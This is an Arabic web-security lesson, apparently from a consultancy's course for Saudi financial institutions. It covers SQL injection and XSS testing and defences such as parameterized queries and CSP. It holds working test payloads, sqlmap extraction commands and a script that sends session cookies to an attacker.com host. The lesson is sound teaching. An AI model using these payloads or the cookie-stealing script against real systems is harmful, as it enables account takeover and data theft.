درس 25: أمن تطبيقات الويب — اختبار SQL Injection و XSS

ماذا ستتعلم في هذا الدرس

• فهم آلية عمل ثغرات SQL Injection وأنواعها المختلفة (Classic, Blind, Time-based)
• اكتشاف واختبار ثغرات Cross-Site Scripting (XSS) بأنواعها الثلاثة
• استخدام أدوات احترافية مثل Burp Suite و sqlmap لاختبار التطبيقات
• تطبيق تقنيات الحماية المناسبة لكل نوع من الثغرات في بيئات الإنتاج

لماذا تطبيقات الويب هي الهدف الأول؟

كل مؤسسة مالية سعودية تعتمد اليوم على تطبيقات الويب: بوابات الخدمات المصرفية الإلكترونية، أنظمة إدارة المحافظ الاستثمارية، منصات التأمين الرقمية، وبوابات الدفع. هذه التطبيقات تستقبل مدخلات المستخدمين مباشرة وتتعامل مع قواعد بيانات تحتوي بيانات حساسة. عندما لا يتحقق التطبيق من هذه المدخلات بشكل صحيح، تظهر ثغرات يمكن للمهاجم استغلالها للوصول إلى بيانات العملاء أو التلاعب بالعمليات المالية.

وفقاً لتقرير OWASP Top 10 لعام 2021، تحتل ثغرات الحقن (Injection) المرتبة الثالثة بين أخطر المخاطر، بينما يندرج XSS ضمن فئة Cross-Site Scripting التي اندمجت مع الحقن في التصنيف الأخير. في الواقع العملي، تظل هاتان الثغرتان من أكثر ما نكتشفه في اختبارات الاختراق للمؤسسات المالية في المنطقة.

SQL Injection: عندما يتحدث المهاجم مع قاعدة بياناتك

تخيّل أن لديك نموذج تسجيل دخول في بوابة مصرفية. عندما يُدخل المستخدم اسمه وكلمة مروره، يبني التطبيق استعلام SQL ويرسله لقاعدة البيانات. إذا كان التطبيق يبني هذا الاستعلام بطريقة سلسلة النصوص (String Concatenation) بدلاً من استخدام Parameterized Queries، فإن المهاجم يستطيع حقن أوامر SQL إضافية تغيّر سلوك الاستعلام بالكامل.

الأنواع الثلاثة الرئيسية:

1. Classic SQL Injection (In-band): النتيجة تظهر مباشرة في صفحة الويب. المهاجم يرى البيانات المسروقة فوراً. هذا أبسط الأنواع وأسهلها اكتشافاً.

2. Blind SQL Injection: التطبيق لا يعرض رسائل خطأ مفصلة، لكن المهاجم يستنتج المعلومات من سلوك التطبيق — هل أعاد الصفحة الصحيحة أم لا؟ (Boolean-based) أو كم استغرق الرد؟ (Time-based).

3. Out-of-band SQL Injection: المهاجم يوجّه قاعدة البيانات لإرسال البيانات إلى خادم يتحكم فيه عبر DNS أو HTTP. نادر لكنه خطير جداً.

مثال عملي: في اختبار اختراق لبوابة مصرفية إلكترونية، وُجد أن صفحة عرض كشف الحساب تستقبل رقم الحساب كمعامل في الـ URL بدون تنقية. بتغيير المعامل وإضافة ' OR '1'='1، أصبح بالإمكان عرض كشوفات حسابات عملاء آخرين. كان الأثر المحتمل: كشف البيانات المالية لآلاف العملاء.

اختبار SQL Injection عملياً

لنبدأ بالاختبار اليدوي ثم ننتقل للأدوات الآلية. الخطوة الأولى دائماً هي تحديد نقاط الإدخال: نماذج تسجيل الدخول، حقول البحث، معاملات URL، وأي مكان يتفاعل فيه المستخدم مع التطبيق.

الاختبار اليدوي — الخطوات الأساسية:

# الخطوة 1: اختبار وجود الثغرة بإضافة علامة اقتباس
# أدخل في حقل البحث أو URL:
'

# إذا ظهرت رسالة خطأ SQL، هناك احتمال كبير لوجود الثغرة

# الخطوة 2: اختبار Boolean-based
# الاستعلام الأصلي: ?id=5
# اختبر:
?id=5 AND 1=1    # يجب أن تعود النتيجة الطبيعية
?id=5 AND 1=2    # يجب أن تختلف النتيجة

# الخطوة 3: اختبار UNION-based لاستخراج البيانات
?id=5 UNION SELECT NULL,NULL,NULL--    # حدد عدد الأعمدة أولاً
?id=5 UNION SELECT 1,username,password FROM users--

استخدام sqlmap للاختبار الآلي:

# فحص أساسي لـ URL مشبوه
sqlmap -u "https://target.example.com/account?id=5" --batch

# تحديد قاعدة البيانات المستخدمة
sqlmap -u "https://target.example.com/account?id=5" --dbs

# استخراج جداول قاعدة بيانات محددة
sqlmap -u "https://target.example.com/account?id=5" -D banking_db --tables

# اختبار POST request (نموذج تسجيل دخول)
sqlmap -u "https://target.example.com/login" --data="username=admin&password=test" --batch

# استخدام Burp Suite كـ proxy مع sqlmap
sqlmap -u "https://target.example.com/account?id=5" --proxy="http://127.0.0.1:8080"

Cross-Site Scripting (XSS): حقن الكود في متصفح الضحية

XSS يختلف جوهرياً عن SQL Injection. بدلاً من مهاجمة قاعدة البيانات، يستهدف XSS متصفح المستخدم النهائي. المهاجم يحقن كود JavaScript خبيث في صفحة الويب، وعندما يفتحها مستخدم آخر، يُنفَّذ الكود في متصفحه. يمكن سرقة ملفات الجلسة (Session Cookies)، تحويل المستخدم لصفحة تصيد، أو تنفيذ عمليات باسم الضحية.

الأنواع الثلاثة:

1. Reflected XSS: الكود الخبيث يُرسل في الطلب (مثلاً في URL) ويُعكس في الاستجابة مباشرة. يحتاج المهاجم أن يُقنع الضحية بالنقر على رابط مُعدّ.

2. Stored XSS: الأخطر. الكود يُخزَّن في قاعدة البيانات (في تعليق، أو ملف شخصي، أو رسالة) ويُنفَّذ تلقائياً كلما عرض أي مستخدم تلك الصفحة.

3. DOM-based XSS: يحدث في جانب العميل (Client-side) عندما يعالج JavaScript مدخلات المستخدم بطريقة غير آمنة دون إرسالها للخادم.

مثال عملي: نظام إدارة تذاكر الدعم الفني في شركة تأمين سعودية كان يسمح للعملاء بإرسال رسائل نصية. أحد المختبرين أدخل <script>document.location='https://attacker.com/steal?c='+document.cookie</script> كعنوان للتذكرة. عندما فتح موظف الدعم التذكرة، أُرسلت بيانات جلسته للمهاجم، مما أتاح الوصول الكامل لنظام الدعم بصلاحيات الموظف.

اختبار XSS عملياً

# حمولات اختبار XSS الأساسية — جرّبها في أي حقل إدخال:

# الحمولة الكلاسيكية
<script>alert('XSS')</script>

# تجاوز فلترة بسيطة باستخدام أحداث HTML
<img src=x onerror=alert('XSS')>

# تجاوز فلترة script tag
<svg onload=alert('XSS')>

# اختبار في سياق attribute
" onfocus=alert('XSS') autofocus="

# اختبار DOM-based XSS
# افحص الكود المصدري بحثاً عن:
document.write(location.hash)
element.innerHTML = userInput
eval(userInput)

استخدام Burp Suite لاختبار XSS:

# الخطوات في Burp Suite:
# 1. شغّل Burp كـ Proxy واضبط المتصفح عليه
# 2. تصفّح التطبيق المستهدف لبناء خريطة الموقع (Site Map)
# 3. استخدم Intruder مع قائمة حمولات XSS:
#    - اذهب إلى Intruder > Positions
#    - حدد معاملات الإدخال
#    - في Payloads، حمّل قائمة من:
#      https://github.com/payloadbox/xss-payload-list

# 4. افحص الاستجابات بحثاً عن الحمولات المنعكسة
# 5. تحقق يدوياً من كل حمولة ظهرت في الاستجابة

الحماية: كيف تغلق هذه الثغرات

لحماية تطبيقك من SQL Injection:

# بدلاً من هذا (خطير):
query = "SELECT * FROM users WHERE id = '" + user_input + "'"

# استخدم Parameterized Queries (آمن):
# Python مع psycopg2:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))

# Java مع PreparedStatement:
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setString(1, userInput);

# PHP مع PDO:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userInput]);

لحماية تطبيقك من XSS:

# 1. Output Encoding — شفّر المخرجات حسب السياق:
# HTML context: & < > " '
# JavaScript context: استخدم JSON.stringify()
# URL context: استخدم encodeURIComponent()

# 2. Content Security Policy — أضف هذا Header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'

# 3. استخدم مكتبات التنقية:
# Python: import bleach; clean_html = bleach.clean(user_input)
# JavaScript: DOMPurify.sanitize(userInput)
# Java: OWASP Java HTML Sanitizer

الربط بالواقع السعودي

إطار SAMA CSCC يُلزم المؤسسات المالية بتطبيق اختبارات أمن التطبيقات ضمن مجال "Application Security" بما يشمل اختبار الاختراق الدوري ومراجعة الكود المصدري. كذلك تشترط ضوابط NCA ECC تحت البند المتعلق بأمن التطبيقات إجراء تقييم للثغرات قبل نشر أي تطبيق في بيئة الإنتاج. معيار PCI-DSS v4.0 أيضاً يتطلب في المتطلب 6 حماية التطبيقات التي تعالج بيانات البطاقات من ثغرات الحقن و XSS تحديداً. عدم معالجة هذه الثغرات لا يعني فقط مخاطرة تقنية، بل مخالفة تنظيمية قد تؤدي لعقوبات من الجهات الرقابية.

أخطاء شائعة يجب تجنبها

• الاعتماد على فلترة المدخلات وحدها (Blacklisting): كثير من المطورين يحظرون كلمات مثل SELECT و UNION، لكن المهاجمين يتجاوزونها بسهولة باستخدام تقنيات الترميز (Encoding) أو تبديل حالة الأحرف. الحل الصحيح هو استخدام Parameterized Queries دائماً.
• اختبار XSS فقط بحمولة <script>alert(1)</script>: التطبيقات الحديثة غالباً تفلتر هذه الحمولة البسيطة. اختبر بحمولات متنوعة تستخدم أحداث HTML مختلفة (onerror, onload, onfocus) وسياقات مختلفة (داخل attributes, داخل JavaScript, داخل CSS).
• تجاهل اختبار APIs: كثير من المختبرين يركزون على واجهة المستخدم وينسون أن REST APIs و GraphQL endpoints تقبل مدخلات أيضاً وقد تكون أقل حماية. استخدم Burp Suite أو Postman لاختبار نقاط النهاية مباشرة.

ملخص الدرس

• SQL Injection يستغل بناء استعلامات SQL بطريقة غير آمنة — الحماية الأساسية هي Parameterized Queries وليس فلترة المدخلات
• XSS يحقن كود JavaScript في متصفح الضحية — الحماية تتطلب Output Encoding حسب السياق مع Content Security Policy
• أدوات مثل Burp Suite و sqlmap تسرّع عملية الاكتشاف، لكن الفهم اليدوي للثغرة ضروري لاختبار فعّال وتقرير دقيق

الدرس القادم

في الدرس التالي سنتناول: تحليل البرمجيات الخبيثة — الأدوات والمنهجيات — ستتعلم كيفية تحليل عينات البرمجيات الخبيثة في بيئة معزولة باستخدام أدوات التحليل الساكن والديناميكي، وكيف تستخرج مؤشرات الاختراق (IOCs) لتعزيز دفاعات مؤسستك.

هل تريد تطبيق ما تعلمته على مؤسستك؟ تواصل مع فريق فنترالينك للحصول على تقييم مجاني لمدى النضج السيبراني وفق SAMA CSCC.